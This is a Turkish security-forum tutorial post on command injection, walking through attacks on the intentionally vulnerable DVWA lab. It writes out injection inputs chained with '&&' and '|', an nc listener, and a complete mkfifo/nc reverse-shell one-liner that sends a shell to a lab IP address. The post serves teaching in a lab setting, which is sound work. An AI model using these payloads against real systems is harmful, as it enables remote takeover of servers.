Neler yeni
Bughane Academy

Bughane Academy, bug bounty, web güvenliği ve sızma testi alanında kendini geliştirmek isteyenler için kurulmuş Türkçe odaklı bir topluluktur.

Burada; gerçek güvenlik açıkları, recon ve exploit teknikleri, payload & bypass yöntemleri, araçlar, scriptler ve write-up’lar topluluk tarafından paylaşılır ve tartışılır.

Birlikte öğren, birlikte üret, birlikte güçlen.

Web Güvenlik Açıkları Serisi - 2: Command Injection

  • Konuyu Başlatan Konuyu Başlatan BegRoot
  • Başlangıç tarihi Başlangıç tarihi

BegRoot

Aday
Katılım
21 Ocak 2026
Mesajlar
6
Tepkime puanı
3
Puan
3

COMMAND INJECTION NEDİR?​

Command injection, dışarıdan bir giriş değeri ile arka planda bir komutu çalıştıran bir programın amaçlanan giriş değeri dışında bir veriyi kabul ederek bunu çalıştırmasıdır. Bu işlem sırasında program, komutu normalde kullanıcıda olmaması gereken bir yetki seviyesinde çalıştırır ve çıktıyı kullanıcıya iletir.
(Kaynak: https://docs.yavuzlar.org/web-guvenligi/command-injection)

Kullanıcı girdisi, yeterince doğrulanmadan işletim sistemi komutuna bağlanıyorsa, command injection mümkündür. Command injection web sitesine input boxlar üzerinden, parametreler üzerinden veya post dataları üzerinden komut yürütebilir. Bu konutu örnekler ile daha iyi anlayacaksınız.

İlk önce bir kaynak kodunu inceleyip konuyu tam kavramanızı istiyorum.

Ekran Görüntüsü - 2026-01-29 08-54-32.jpg

Yukarıdaki resimde de gördüğünüz gibi, herhangi bir güvenlik önlemi yok. Yani biz amaçlanan giriş değeri dışında bir değer girebiliriz.​



Ekran Görüntüsü - 2026-01-29 08-58-00.jpg

Buda medium seviye kaynak kodu. Burada bazı güvenlik önlemleri alınmış ancak hala command injection yapmak "|" gibi sembollerle mümkün.

High seviyenin kaynak kodundaki eksikliği de siz bulmaya çalışın :)

DVWA Üzerinde Command Injection​

Şimdi küçük denemeler yapalım. Zafiyetli makinemizi ve Kali Linux'umuz başlatalım. Tarayıcımıza DVWA makinemizin IP adresini yazarak çıkan login ekranında "admin" ve "password" bilgilerinin kullanarak giriş yapalım. Security seviyesini low olarak ayarlayalım. Bunları yaptıktan sonra saldırımıza başlayabiliriz.

Sol menüden command injection kısmına geldiğimizde, karşımıza bir input box çıkıyor. Bu input boxun amacı, bizim yazıdığımız ip adresine ya da dns'ye ping atmak. Ancak yukarda da dediğimiz gibi, amaçlanan giriş değeri dışında bir veriyi kabul ettirirsek command injection başarılı olacaktır.
Hemen input boxa basit bir komut yazarak test edelim:

Kod:
google.com && ls -al;

Ekran Görüntüsü - 2026-01-29 09-11-40.jpg
Komut çalıştı. Eğer güvenlik medium seviyede olsaydı, bu komut çalışmayacaktı. Ancak
Kod:
google.com | ls -al
komutunu çalıştırsaydık çalışırdı.

Peki bu güvenlik açığıyla ne yapacağız? Neler yapabiliriz?
Bir shell elde edebiliriz, ya da nc üzerinden ters bağlantı (reverse shell) alabiliriz. Hatta kritik seviye bir RCE (Remote Code Execution) açığı, gerçek sistemlerde tam sunucu ele geçirmeye kadar gidebilir.
Biz beraber nc üzerinden makinemize bir shell alalım ve dersimizi bitirelim.

Kalimizde nc ile 4444 portunu dinlemeye alalım:
Kod:
nc -lvnp 4444

Input Boxa şu komutu yazalım:
Kod:
google.com && rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.106 4444 >/tmp/f
Not: IP adresini kendi IP adresinizle değiştirmeyi unutmayın.

Ekran Görüntüsü - 2026-01-29 09-33-06.jpgShellimiz geldi, artık içerdeyiz. Daha ileriye gitmek ve root yetkisine geçebilmek için yetki yükseltme saldırıları bu açılan kanaldan uygulanabilir.








Bugünkü dersimiz burada son buldu. Haddim değil ama sizlere ödev olarak root olmaya çalışmanızı, high ve impossible seviyeleri incelemenizi isteyeceğim.
Okuduğunuz için teşekkür ederim, iyi çalışmalar.
 
Son düzenleme:
Geri
Üst